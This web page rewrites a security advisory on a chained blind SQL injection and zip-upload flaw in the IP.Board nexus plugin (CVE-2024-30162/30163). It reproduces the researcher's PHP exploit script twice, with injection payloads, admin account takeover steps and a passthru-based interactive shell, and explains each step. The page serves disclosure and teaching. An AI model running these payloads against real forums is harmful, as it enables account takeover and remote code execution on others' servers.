Skip to content
SQL injection Write-up Advanced

RCE & SQLi for pre-auth RCE in IP.Board e-commerce plugin ‘nexus

The IP.Board 'nexus' plugin has a blind SQL injection in the store filter parameter and an unrestricted file upload in the admin editor toolbar plugin feature. An unauthenticated attacker can use the SQL injection to steal an admin's password hash and reset key, take over the admin account, then upload a malicious plugin zip to execute arbitrary PHP code.

ssd-disclosure.com

Published on ssd-disclosure.com

IP.Board e-commerce plugin ‘nexus’ contains two security vulnerabilities that when combined can be used to trigger a pre-auth RCE in AdminCP.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

IP.Board (Invision Community) ships an e-commerce plugin called nexus. Two flaws in that plugin, chained together, give an unauthenticated attacker remote code execution inside the AdminCP. SSD Secure Disclosure published the advisory on 5 April 2024, crediting Egidio Romano of Karma(In)Security.

The first flaw is a blind SQL injection in the store front-end. The second is an unrestricted file upload in the AdminCP editor toolbar that lets an administrator write PHP into a web-accessible plugin directory. The SQL injection is used to take over an administrator account, and the upload is then used to turn that account into code execution.

Two CVEs were assigned:

CVE Issue
CVE-2024-30162 Remote Code Execution
CVE-2024-30163 Blind SQL Injection

Affected versions are IP.Board 4.7.15 and prior with the nexus plugin enabled.

Setup

The proof of concept assumes Invision Community is installed with the nexus application. The SQL injection can be exploited by unauthenticated attackers. The exploit script is written in PHP and requires the cURL extension; it takes the target base URL as its only argument and routes traffic through a local proxy at http://[redacted]:8080.

Before running the exploit, the researcher performs a short manual setup in the AdminCP:

  1. Log into the AdminCP.
  2. Go to "Commerce" -> "Store" -> "Products".
  3. Create a new "Product Group".

The advisory notes that a file needed by the exploit, rce.zip, has been withheld to prevent easy exploitation.

Finding it

The blind SQL injection

The vulnerable code lives in /applications/nexus/modules/front/store/store.php, in the IPS\nexus\modules\front\store_store::_categoryView() method:

    /* Apply Filters */
    if ( isset( \IPS\Request::i()->filter ) and \is_array( \IPS\Request::i()->filter ) )
    {
        $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );
        foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )
        {
            $where[] = array( \IPS\Db::i()->findInSet( "filter{$filterId}.pfm_values", array_map( 'intval', explode( ',', $allowedValues ) ) ) );
            $joins[] = array( 'table' => array( 'nexus_package_filters_map', "filter{$filterId}" ), 'on' => array( "filter{$filterId}.pfm_package=p_id AND filter{$filterId}.pfm_filter=?", $filterId ) );
        }
    }

User input passed through the filter request parameter is not properly sanitised before being assigned to the $where variable. This can be exploited by unauthenticated attackers to carry out Blind SQL Injection attacks.

The upload

The second flaw is in /applications/core/modules/admin/editor/toolbar.php, in IPS\core\modules\admin\editor_toolbar::addPlugin(). That method handles uploaded zip files and extracts them into /applications/core/interface/ckeditor/ckeditor/plugins/ without verifying their content. An admin holding the toolbar_manage permission can therefore write arbitrary PHP files into that directory, and those files execute under the web server user.

The upload requires an admin user with the toolbar_manage permission.

Exploitation

The full exploit script from the advisory:

PHP
<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) {
    die("[-] cURL extension required!\n");
}

if ($argc != 2) {
    die("\nUsage: php $argv[0] <URL>\n\n");
}

$url = $argv[1];
$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_PROXY, "http://[redacted]:8080");
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)
{
    global $ch, $content_length, $url;

    $min = true;
    $idx = 1;

    while (1) {
        $test = 256;

        for ($i = 7; $i >= 0; $i--) {
            $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
            $injection = "` ON 1 UNION SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)) OR ?=?#";
            curl_setopt(
                $ch,
                CURLOPT_POSTFIELDS,
                sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
            );
            if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c)) {
                die("\n[-] Content-Length not found!\n");
            }
            $min = $content_length === $c[1];
        }

        if (($chr = $min ? $test - 1 : $test) == 0) {
            break;
        }
        $data .= chr($chr);
        $min = true;
        $idx++;
        print "\r[*] Data: {$data}";
    }

    return $data;
}

print "[+] Step 0: calculating Content-Length difference\n";

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=1,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c1)) {
    die("[-] Content-Length not found!\n");
}

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=0,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c2)) {
    die("[-] Content-Length not found!\n");
}

if ($c1[1] === $c2[1]) {
    die("[-] Content-Length is the same, exploit cannot work!\n");
} else {
    $content_length = $c1[1];
}

print "[+] Step 1: fetching admin's password hash\n";

$admin_pwd = sql_injection(
    "SELECT members_pass_hash FROM core_members WHERE member_id=1"
);

print "\n[+] Step 2: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 3: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 4: fetching the password reset key\n";

$vid = sql_injection(
    "SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1"
);

print "\n[+] Step 5: taking over the admin account by resetting their password\n";

@unlink("./cookies.txt");

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$passwd = md5(time());
$params = "do=validate&vid={$vid}&mid=1&[redacted]&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Attack failed!\n");
}

print "[+] Step 6: fetching AdminCP path\n";

curl_setopt($ch, CURLOPT_URL, "{$url}index.php");
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/"admincp"><a href="([^"]+)"/i', curl_exec($ch), $acp)) {
    die("[-] AdminCP path not found!\n");
}

print "[+] Step 7: logging into AdminCP -> {$acp[1]}\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=system&controller=login"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    "csrfKey={$csrf[1]}&auth=" .
        urlencode($email) .
        "&[redacted]&_processLogin=usernamepassword"
);

if (!preg_match("/303 See Other/i", curl_exec($ch))) {
    die("[-] Login failed!\n");
}

print "[+] Step 8: uploading malicious plugin zip file\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=editor&controller=toolbar&do=addPlugin"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$plg = md5(time()) . ".zip";

$params = [
    "csrfKey" => $csrf[1],
    "form_submitted" => 1,
    "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg),
];

curl_setopt($ch, CURLOPT_HTTPHEADER, ["Expect:"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Upload failed!\n");
}

print "[+] Step 9: restoring admin's password hash\n";

$phpcode =
    'include "../../../../../../../conf_global.php";
$link = mysqli_connect($INFO["sql_host"], $INFO["sql_user"], $INFO["sql_pass"], $INFO["sql_database"]);
mysqli_query($link, \'UPDATE core_members SET members_pass_hash = "' .
    $admin_pwd .
    '" WHERE member_id=1\');
mysqli_close($link);';

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: " . base64_encode($phpcode)]);
curl_setopt($ch, CURLOPT_POST, false);

curl_exec($ch);

print "[+] Step 10: launching shell\n";

$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";

while (1) {
    print "\nics-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, [

Step 0: calibrating the blind channel

The script first confirms that the injection changes the response length. It sends two requests to index.php?/store/, one where the injected condition is true and one where it is false:

Text
` ON 1 UNION SELECT 1 RLIKE(IF(1=1,0x28,0x31)) OR ?=?#
Text
` ON 1 UNION SELECT 1 RLIKE(IF(1=0,0x28,0x31)) OR ?=?#

Both are wrapped as cat=1&filter[<injection>]=1. The trailing OR ?=?# comments out the rest of the original query. The script compares the two Content-Length values; if they are identical it aborts with Content-Length is the same, exploit cannot work!, otherwise it stores the true-case length in $content_length.

Step 1: admin password hash

Each probe injects:

Text
` ON 1 UNION SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)) OR ?=?#

Here {$sql} is the subquery and {$idx} the character offset. The first query is:

SQL
SELECT members_pass_hash FROM core_members WHERE member_id=1

Step 2: admin e-mail address

The same routine is run with:

SQL
SELECT email FROM core_members WHERE member_id=1

The address is needed for the password reset flow.

Step 3: requesting a password reset

This step is manual. The script prints the lost password URL and waits for the operator to press enter:

Text
[+] Step 3: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.

The attacker submits a reset request for the admin's e-mail address through the site's normal lost password page.

Step 4: the reset key

A reset request creates a validation record. The script reads the key from it:

SQL
SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1

Step 5: resetting the admin password

The script clears any old cookie jar, loads index.php?/lostpassword/ with a fresh cookie jar, and scrapes the CSRF token from the page:

Text
/csrfKey: "([^"]+)"/i

It generates a new password with md5(time()) and posts the reset form:

Text
do=validate&vid={$vid}&mid=1&[redacted]&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}

A 301 Moved Permanently response is taken as success. At this point the attacker knows the admin's password.

Step 6: finding the AdminCP path

The script fetches index.php and extracts the AdminCP link from the page:

Text
/"admincp"><a href="([^"]+)"/i

Step 7: logging into the AdminCP

It loads the AdminCP login controller:

Text
{$acp[1]}?app=core&module=system&controller=login

scrapes the csrfKey again, and posts the login form:

A 303 See Other response confirms the login.

Step 8: uploading the malicious plugin

The script loads the plugin upload page:

Text
{$acp[1]}?app=core&module=editor&controller=toolbar&do=addPlugin

scrapes the CSRF token, and posts a multipart form containing the withheld rce.zip under a random name:

Text
$plg = md5(time()) . ".zip";

$params = [
    "csrfKey" => $csrf[1],
    "form_submitted" => 1,
    "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg),
];

A 301 Moved Permanently response is taken as a successful upload. The server extracts the zip into /applications/core/interface/ckeditor/ckeditor/plugins/, so the archive's contents, including PHP files, end up under a web-accessible path.

Step 9: restoring the admin password hash

Before using the shell, the script puts the admin's original password hash back. It builds a PHP snippet that loads conf_global.php, connects to the database with the credentials in $INFO, and updates core_members:

(The hash placeholder stands for the value recovered in step 1.) The snippet is base64-encoded and sent in a C header to the uploaded plugin directory:

Text
{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/

Step 10: interactive shell

The final loop sends each command the same way. The payload template is:

PHP
print '____'; passthru(base64_decode('%s')); print '____';

Each command is base64-encoded, placed into the template, base64-encoded again and sent in the C header. The response is matched with /____(.*)____/s and the captured output is printed at the ics-shell# prompt. Typing exit ends the loop.

Root cause

Two separate mistakes combine here.

In _categoryView(), the array key of the filter parameter is concatenated into a SQL identifier (filter{$filterId}) without validation. The values are passed through intval, which gives a false sense of safety: the key is the injection point. Because the key is used both in the findInSet expression and in the join alias, a crafted key can close the identifier and rewrite the query.

In addPlugin(), an uploaded zip is extracted into a directory served by the web server, and the archive contents are not checked. Any file in the archive, including PHP, becomes reachable and executable.

Impact

An unauthenticated attacker can use the blind SQL injection to read data from the database, including the administrator's password hash and e-mail address. By triggering a password reset and reading the resulting validation key, the attacker can take over the administrator account. With that session, and the toolbar_manage permission, the attacker can upload a crafted plugin zip and execute arbitrary PHP as the web server user.

The chain depends on the nexus plugin being enabled and on the target being at version 4.7.15 or earlier.

Fix

The vendor released a new version of IP.Board with the appropriate fixes, The vendor has released a new version of IP.Board with appropriate fixes: https://invisioncommunity.com/release-notes/4716-r128/

Variants to test

  • Other array-key sinks. Look for parameters whose array keys are interpolated into SQL identifiers, table aliases or column names, especially where the values are cast but the keys are not. A positive result is a change in response size or content when the key contains a backtick and a boolean expression.
  • Other blind channels. Where response bodies are identical, check Content-Length, status codes, redirect targets and timing. A positive result is a measurable, repeatable difference between a true and a false injected condition.
  • Other zip extraction features. Test admin upload features that unpack archives into web-accessible directories. A positive result is a request to the extracted path returning the contents of a file you placed in the archive.
  • Header-driven execution. Check whether uploaded PHP can be reached with custom headers and whether those headers are evaluated. A positive result is command output appearing between known delimiters in the response.
  • Permission boundaries. Enumerate which admin permissions gate upload features such as toolbar_manage, and whether a lower-privileged account can reach them. A positive result is a successful upload from an account that should not have that capability.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

IP.Board, also sold as Invision Community, is forum software: a program that runs a discussion website. It has an optional add-on called nexus, which turns the forum into an online shop where members can buy products. Two mistakes in that shop add-on are described in the advisory.

The first mistake is a blind SQL injection. A website's database is a big set of tables, like a very large spreadsheet, and the site asks it questions in a language called SQL. If a visitor can slip extra SQL into a question the site builds, they can make the database answer questions it was never meant to answer. "Blind" means the site never shows the answer on the page; the attacker has to work it out from side effects, such as how big the page is.

The second mistake is an unrestricted file upload. The admin control panel, the private area where site staff manage things, lets an administrator upload a zip file to install an editor plugin. The server unpacks the zip into the plugins directory without verifying its content. Nothing checks what is inside the zip, so a zip containing a PHP script becomes a working program on the server.

The upload requires an admin user with the toolbar_manage permission.

The advisory was published by SSD Secure Disclosure on 5 April 2024 and credits Egidio Romano of Karma(In)Security. Two CVE identifiers were assigned, which are public catalogue numbers for security flaws:

CVE Issue
CVE-2024-30162 Remote Code Execution
CVE-2024-30163 Blind SQL Injection

Affected versions are IP.Board 4.7.15 and prior with the nexus plugin enabled.

Setting the scene

The proof of concept assumes Invision Community is installed with the nexus application. The SQL injection can be exploited by unauthenticated attackers. The exploit is a PHP script, PHP being the programming language the forum itself is written in, and it needs the cURL extension, a standard PHP add-on for making web requests. It takes the target's base address as its only argument and sends its traffic through a local proxy at http://[redacted]:8080, a proxy being an intermediary program that records or inspects web traffic, useful while developing an exploit.

Before running the exploit, the researcher does a short manual setup in the AdminCP:

  1. Log into the AdminCP.
  2. Go to "Commerce" -> "Store" -> "Products".
  3. Create a new "Product Group".

The advisory notes that a file the exploit needs, rce.zip, has been withheld to prevent easy exploitation. The advisory notes that a file needed by the exploit, rce.zip, has been withheld to prevent easy exploitation.

Finding it

The blind SQL injection

The vulnerable code lives in /applications/nexus/modules/front/store/store.php, in the IPS\nexus\modules\front\store_store::_categoryView() method. A method is a named block of code inside a program; this one draws the shop's category page.

    /* Apply Filters */
    if ( isset( \IPS\Request::i()->filter ) and \is_array( \IPS\Request::i()->filter ) )
    {
        $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );
        foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )
        {
            $where[] = array( \IPS\Db::i()->findInSet( "filter{$filterId}.pfm_values", array_map( 'intval', explode( ',', $allowedValues ) ) ) );
            $joins[] = array( 'table' => array( 'nexus_package_filters_map', "filter{$filterId}" ), 'on' => array( "filter{$filterId}.pfm_package=p_id AND filter{$filterId}.pfm_filter=?", $filterId ) );
        }
    }

Line by line:

  • if ( isset( \IPS\Request::i()->filter ) and \is_array( \IPS\Request::i()->filter ) ) checks whether the incoming request contains a parameter called filter and whether it arrived as an array. In a URL or form, an array parameter looks like filter[key]=value; the part in the square brackets is the key and the part after the equals sign is the value.
  • $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter ); copies the filter into the page's own links so paging and sorting keep the filter applied.
  • foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues ) walks through each key and value pair. The key becomes $filterId, the value becomes $allowedValues.
  • $where[] = array( \IPS\Db::i()->findInSet( "filter{$filterId}.pfm_values", array_map( 'intval', explode( ',', $allowedValues ) ) ) ); builds a database condition. findInSet is a database function that checks whether a number appears in a comma-separated list. The list is built by splitting the value on commas (explode) and forcing each piece to be a whole number (intval).
  • $joins[] = array( ... ) builds the matching join, the instruction that tells the database how to link the filter table to the products table. The same filter{$filterId} alias appears here too, and the key is also passed as a query parameter in the ? placeholder.

User input passed through the filter request parameter is not properly sanitised before being assigned to the $where variable, so unauthenticated attackers can carry out Blind SQL Injection attacks.

The upload

The second flaw is in /applications/core/modules/admin/editor/toolbar.php, in IPS\core\modules\admin\editor_toolbar::addPlugin(). That method handles uploaded zip files and extracts them into /applications/core/interface/ckeditor/ckeditor/plugins/ without verifying their content. An admin holding the toolbar_manage permission, the permission that allows managing editor toolbars, can therefore write arbitrary PHP files into that directory, and those files execute under the web server user, the low-privileged operating system account the web server runs as.

Exploitation

Here is the full exploit script from the advisory:

PHP
<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) {
    die("[-] cURL extension required!\n");
}

if ($argc != 2) {
    die("\nUsage: php $argv[0] <URL>\n\n");
}

$url = $argv[1];
$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_PROXY, "http://[redacted]:8080");
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)
{
    global $ch, $content_length, $url;

    $min = true;
    $idx = 1;

    while (1) {
        $test = 256;

        for ($i = 7; $i >= 0; $i--) {
            $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
            $injection = "` ON 1 UNION SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)) OR ?=?#";
            curl_setopt(
                $ch,
                CURLOPT_POSTFIELDS,
                sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
            );
            if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c)) {
                die("\n[-] Content-Length not found!\n");
            }
            $min = $content_length === $c[1];
        }

        if (($chr = $min ? $test - 1 : $test) == 0) {
            break;
        }
        $data .= chr($chr);
        $min = true;
        $idx++;
        print "\r[*] Data: {$data}";
    }

    return $data;
}

print "[+] Step 0: calculating Content-Length difference\n";

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=1,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c1)) {
    die("[-] Content-Length not found!\n");
}

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=0,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c2)) {
    die("[-] Content-Length not found!\n");
}

if ($c1[1] === $c2[1]) {
    die("[-] Content-Length is the same, exploit cannot work!\n");
} else {
    $content_length = $c1[1];
}

print "[+] Step 1: fetching admin's password hash\n";

$admin_pwd = sql_injection(
    "SELECT members_pass_hash FROM core_members WHERE member_id=1"
);

print "\n[+] Step 2: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 3: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 4: fetching the password reset key\n";

$vid = sql_injection(
    "SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1"
);

print "\n[+] Step 5: taking over the admin account by resetting their password\n";

@unlink("./cookies.txt");

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$passwd = md5(time());
$params = "do=validate&vid={$vid}&mid=1&[redacted]&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Attack failed!\n");
}

print "[+] Step 6: fetching AdminCP path\n";

curl_setopt($ch, CURLOPT_URL, "{$url}index.php");
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/"admincp"><a href="([^"]+)"/i', curl_exec($ch), $acp)) {
    die("[-] AdminCP path not found!\n");
}

print "[+] Step 7: logging into AdminCP -> {$acp[1]}\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=system&controller=login"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    "csrfKey={$csrf[1]}&auth=" .
        urlencode($email) .
        "&[redacted]&_processLogin=usernamepassword"
);

if (!preg_match("/303 See Other/i", curl_exec($ch))) {
    die("[-] Login failed!\n");
}

print "[+] Step 8: uploading malicious plugin zip file\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=editor&controller=toolbar&do=addPlugin"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$plg = md5(time()) . ".zip";

$params = [
    "csrfKey" => $csrf[1],
    "form_submitted" => 1,
    "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg),
];

curl_setopt($ch, CURLOPT_HTTPHEADER, ["Expect:"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Upload failed!\n");
}

print "[+] Step 9: restoring admin's password hash\n";

$phpcode =
    'include "../../../../../../../conf_global.php";
$link = mysqli_connect($INFO["sql_host"], $INFO["sql_user"], $INFO["sql_pass"], $INFO["sql_database"]);
mysqli_query($link, \'UPDATE core_members SET members_pass_hash = "' .
    $admin_pwd .
    '" WHERE member_id=1\');
mysqli_close($link);';

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: " . base64_encode($phpcode)]);
curl_setopt($ch, CURLOPT_POST, false);

curl_exec($ch);

print "[+] Step 10: launching shell\n";

$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";

while (1) {
    print "\nics-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, [

A quick tour of the script before the steps. set_time_limit(0) removes PHP's time limit so the script can run as long as it needs. error_reporting(E_ERROR) shows only serious errors. The extension_loaded("curl") check stops with a message if cURL is missing. The $argc != 2 check makes sure exactly one argument, the target URL, was given. $ch = curl_init() creates a reusable request handle, and the curl_setopt calls configure it: return headers as well as the body, return the response as a string instead of printing it, skip certificate verification, use the local proxy, and start at the shop page.

Step 0: calibrating the blind channel

The script first confirms that the injection changes the response length. It sends two requests to index.php?/store/, one where the injected condition is true and one where it is false:

Text
` ON 1 UNION SELECT 1 RLIKE(IF(1=1,0x28,0x31)) OR ?=?#
Text
` ON 1 UNION SELECT 1 RLIKE(IF(1=0,0x28,0x31)) OR ?=?#

Both are wrapped as cat=1&filter[<injection>]=1. Piece by piece:

  • ON 1 ends the original join condition with something always true.
  • UNION SELECT 1 RLIKE(...) adds an extra row to the result. RLIKE checks whether a string matches a pattern; here the pattern is either 0x28, which is the character (, or 0x31, which is the character 1.
  • IF(1=1,0x28,0x31) picks ( when the condition is true and 1 when it is false. The two patterns match differently, so the number of rows returned changes.
  • The trailing OR ?=?# comments out the rest of the original query, the # being the database's comment marker.

Content-Length is a standard header in every web response that states how many bytes the body contains; it is a simple number the attacker can read even when the page content itself reveals nothing. The script compares the two Content-Length values; if they are identical it aborts with Content-Length is the same, exploit cannot work!, otherwise it stores the true-case length in $content_length.

Step 1: admin password hash

The sql_injection() function extracts a value one character at a time. A binary search is the guessing game where you halve the remaining range each time, so eight questions are enough to pin down a number between 0 and 255. Each probe injects:

Text
` ON 1 UNION SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)) OR ?=?#

Here {$sql} is the subquery and {$idx} the character offset. SUBSTR takes one character out of the subquery's result at position $idx, ORD turns that character into its numeric code, and the IF compares that number with the current guess $test. The first query is:

SQL
SELECT members_pass_hash FROM core_members WHERE member_id=1

A hash is a one-way fingerprint of a password: the site stores the fingerprint, not the password itself, and checks a login by fingerprinting what you typed.

Step 2: admin e-mail address

The same routine is run with:

SQL
SELECT email FROM core_members WHERE member_id=1

Step 3: requesting a password reset

This step is manual. The script prints the lost password URL and waits for the operator to press enter:

Text
[+] Step 3: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.

The attacker submits a reset request for the admin's e-mail address through the site's normal lost password page.

Step 4: the reset key

The script reads the key from it:

SQL
SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1

Step 5: resetting the admin password

The script clears any old cookie jar, loads index.php?/lostpassword/ with a fresh cookie jar, and scrapes the CSRF token from the page:

Text
/csrfKey: "([^"]+)"/i

A cookie jar is a file where cURL saves cookies, the small pieces of data a site hands your browser so it can recognise you on the next request. A CSRF token is a random value embedded in a form that proves the form was loaded from the real site and not forged by another site; CSRF stands for cross-site request forgery, where an attacker tricks a logged-in user's browser into submitting a request the user did not intend. The script generates a new password with md5(time()), which hashes the current timestamp into a random-looking string, and posts the reset form:

Text
do=validate&vid={$vid}&mid=1&[redacted]&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}

Each field has a job: do=validate says which action to perform, vid is the key from step 4, mid=1 is the member being reset, the two password fields carry the new password, resetpass_submitted=1 marks the form as submitted, and csrfKey is the token. A 301 Moved Permanently response is taken as success. At this point the attacker knows the admin's password.

Step 6: finding the AdminCP path

The script fetches index.php and extracts the AdminCP link from the page:

Text
/"admincp"><a href="([^"]+)"/i

Step 7: logging into the AdminCP

It loads the AdminCP login controller:

Text
{$acp[1]}?app=core&module=system&controller=login

That URL's parameters tell the forum which application, module and controller to run, which is how the software routes a request to the right piece of code. The script scrapes the csrfKey again, and posts the login form:

Here auth is the login name, the e-mail address recovered in step 2, password is the new password set in step 5, and _processLogin=usernamepassword selects the ordinary username-and-password login method. A 303 See Other response confirms the login.

Step 8: uploading the malicious plugin

The script loads the plugin upload page:

Text
{$acp[1]}?app=core&module=editor&controller=toolbar&do=addPlugin

scrapes the CSRF token, and posts a multipart form containing the withheld rce.zip under a random name:

Text
$plg = md5(time()) . ".zip";

$params = [
    "csrfKey" => $csrf[1],
    "form_submitted" => 1,
    "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg),
];

, and CURLFile tells cURL to send a local file as a form upload. A 301 Moved Permanently response is taken as a successful upload. The server extracts the zip into /applications/core/interface/ckeditor/ckeditor/plugins/, so the archive's contents, including PHP files, end up under a web-accessible path. The server extracts the zip without verifying its content, so PHP files end up in a web-accessible directory.

Step 9: restoring the admin password hash

Before using the shell, the script puts the admin's original password hash back. It builds a PHP snippet that loads conf_global.php, the forum's configuration file holding database credentials, connects to the database with the credentials in $INFO, and updates core_members:

(The hash placeholder stands for the value recovered in step 1.) mysqli_connect opens a database connection, mysqli_query runs the update that writes the old hash back, and mysqli_close closes the connection. The snippet is base64-encoded, base64 being a way of turning any bytes into plain letters and digits so they can travel safely inside a header, and sent in a C header to the uploaded plugin directory:

Text
{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/

Step 10: interactive shell

The final loop sends each command the same way. The payload template is:

PHP
print '____'; passthru(base64_decode('%s')); print '____';

